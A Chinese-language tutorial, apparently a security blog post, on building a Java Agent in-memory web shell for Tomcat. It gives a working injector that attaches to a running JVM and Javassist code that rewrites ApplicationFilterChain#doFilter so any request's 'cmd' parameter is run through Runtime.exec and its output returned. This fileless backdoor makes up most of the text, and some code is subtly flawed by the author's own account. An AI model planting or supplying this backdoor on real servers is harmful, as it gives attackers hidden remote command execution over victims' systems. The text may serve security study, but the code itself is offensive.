一 前置原理
内存马存在4种类型:Filter型、Servlet型、Listener型、Agent型
Java Agent 支持两种方式进行加载:
- 实现 premain 方法,在启动时进行加载
- 实现 agentmain 方法,在启动后进行加载
Java Agent允许程序员利用agent技术构建一个独立于应用程序的代理程序,用途也非常广泛,可以协助监测、运行、甚至替换其他JVM上的程序
VirtualMachine
先了解一下 VirtualMachine, 可以通过此接口的实例直接或间接访问所有其他镜像,此接口直接支持访问全局VM属性和控制VM执行,主要方法如下:VirtualMachine - Java 11中文版 - API参考文档 (apiref.com),通过 VirtualMachine 可以找到其他运行的jvm,如果我们可以使用这种方式修改其他程序,那么就达到了注入的效果
Instrumentation
使用 Instrumentation,开发者可以构建一个独立于应用程序的代理程序(Agent),用来监测和协助运行在 JVM 上的程序,甚至能够替换和修改某些类的定义。主要方法如下:Instrumentation 包/类/方法中文说明 - Java 11 API中文版 - 手册 - 时代Java (nowjava.com)
Javassit
可看下文
Java字节码操作神器:Javassist入门指南_java javasist-CSDN博客
Javassist中文技术文档 - 程序诗人 - 博客园 (cnblogs.com)
javassist使用全解析 - rickiyang - 博客园 (cnblogs.com)
二 preMain
JVM启动前加载
注入代码
public class MyPremain { public static void premain(String agentArgs, Instrumentation inst) { System.out.println("MyPremain"); } }
之后添加工件
构建jar包时一定要将其中MANIFEST.MF文件中的main-class需要改为premain-class
这是我们的被注入程序,打包成jar
public class Main { public static void main(String[] args) { for (int i = 0; i < 100; i++) { System.out.println("Hello World"); try { Thread.sleep(5000); } catch (InterruptedException e) { } } } }
在命令行利用 -javaagent来实现启动时加载,此时效果如下,可以看到先执行了我们的恶意jar
三 agentMain
JVM启动后加载
还是先写一个恶意类,同样的构建jar包时必须更改MANIFEST.MF文件
Manifest-Version: 1.0 Agent-Class: com.agentmain_test.myAgentMain
由于是运行时注入,所以我们需要一个注入器,注入器主要通过VirtualMachine实现,VirtualMachine.list获取到jvm虚拟机列表,然后通过loadAgent方法可以加载我们需要加载的恶意方法,此时我们就可以将jar注入到正在运行的程序中
首先需要添加tools.jar的依赖
注入器代码
public static void main(String[] args) throws IOException, AttachNotSupportedException { List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor virtualMachineDescriptor : list) { if(virtualMachineDescriptor.displayName() == "com.agent.Main"){ VirtualMachine attach = VirtualMachine.attach(virtualMachineDescriptor); try { attach.loadAgent("agent 的jar文件位置"); } catch (AgentLoadException e) { throw new RuntimeException(e); } catch (AgentInitializationException e) { throw new RuntimeException(e); } } } }
启动我们的目标项目和注入器,注入成功
四 内存马实现
启动tomcat,以此检测agent注入时在tomcat等中间件中的可行性,可以看到同样可以被注入
同时修改agent代码如下
public class myAgentMain {
public static void agentmain(String agentArgs, Instrumentation inst) throws IOException {
Class[] classes = inst.getAllLoadedClasses();
FileOutputStream fileOutputStream = new FileOutputStream(new File("classes.txt"));
for (Class aClass : classes) {
String className = aClass.getName() + " " + aClass.getDeclaredMethods().toString()+"\n";
fileOutputStream.write(className.getBytes());
}
fileOutputStream.close();
System.out.println("agentmain");
}
}
通过 inst.getAllLoadedClasses 获取到我们可以修改和注入的类,而对于寻找被注入的类,必须满足两个条件:
- 该方法一定会被执行
- 不会影响正常的业务逻辑
对于用户请求到达服务器之前,Filter、Servlet是一定会被经过的,而在ApplicationFilterChain#doFilter、HttpServlet#service还封装了我们用户请求的 request 和 response,如果我们能够注入这些方法,那么我们不就可以直接获取用户的请求,进而将执行结果写在 response 中进行返回
完善agentMain代码,使其执行我们的代码
public static void agentmain(String agentArgs, Instrumentation inst) throws IOException, NotFoundException, CannotCompileException, UnmodifiableClassException, ClassNotFoundException { Class[] classes = inst.getAllLoadedClasses(); for (Class aClass : classes) { if (aClass.getName().equals("要注入的类")) { // 创建类池 ClassPool classPool = ClassPool.getDefault(); ClassClassPath classPath = new ClassClassPath(aClass); classPool.insertClassPath(classPath); CtClass ctClass = classPool.get(aClass.getName()); CtMethod service = ctClass.getDeclaredMethod("service"); service.insertBefore("执行的恶意代码"); ctClass.detach(); byte[] bytecode = ctClass.toBytecode(); inst.redefineClasses(new ClassDefinition[]{new ClassDefinition(aClass,bytecode)}); } } System.out.println("注入成功");
}
此时我注入的是 javax.servlet.http.HttpServlet 类,效果如下
此时已经注入成功
现在我们修改要执行的代码,并且模拟一个真实环境
参考的这位师傅的dofilter代码(service只是把类和方法更换就好) 浅谈 Java Agent 内存马-腾讯云开发者社区-腾讯云 (tencent.com)主要service这里一直报错没有解决掉,哭死
public class myAgentMain { public static void agentmain(String agentArgs, Instrumentation inst) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.get("org.apache.catalina.core.ApplicationFilterChain"); CtMethod service = ctClass.getDeclaredMethod("doFilter"); // 插入代码,确保所有类都已正确导入 String toInsert = "javax.servlet.http.HttpServletRequest req = request;\n" + "javax.servlet.http.HttpServletResponse res = response;\n" + "java.lang.String cmd = request.getParameter(\"cmd\");\n" + "if (cmd != null){\n" + " try {\n" + " java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" + " java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" + " String line;\n" + " StringBuilder sb = new StringBuilder(\"\");\n" + " while ((line=reader.readLine()) != null){\n" + " sb.append(line).append(\"\\n\");\n" + " }\n" + " response.getOutputStream().print(sb.toString());\n" + " response.getOutputStream().flush();\n" + " response.getOutputStream().close();\n" + " } catch (Exception e){\n" + " e.printStackTrace();\n" + " }\n" + "}"; service.insertBefore(toInsert); byte[] bytecode = ctClass.toBytecode(); inst.redefineClasses(new ClassDefinition(ctClass.toClass(), bytecode)); System.out.println("注入成功"); } }
可以看到也是成功注入的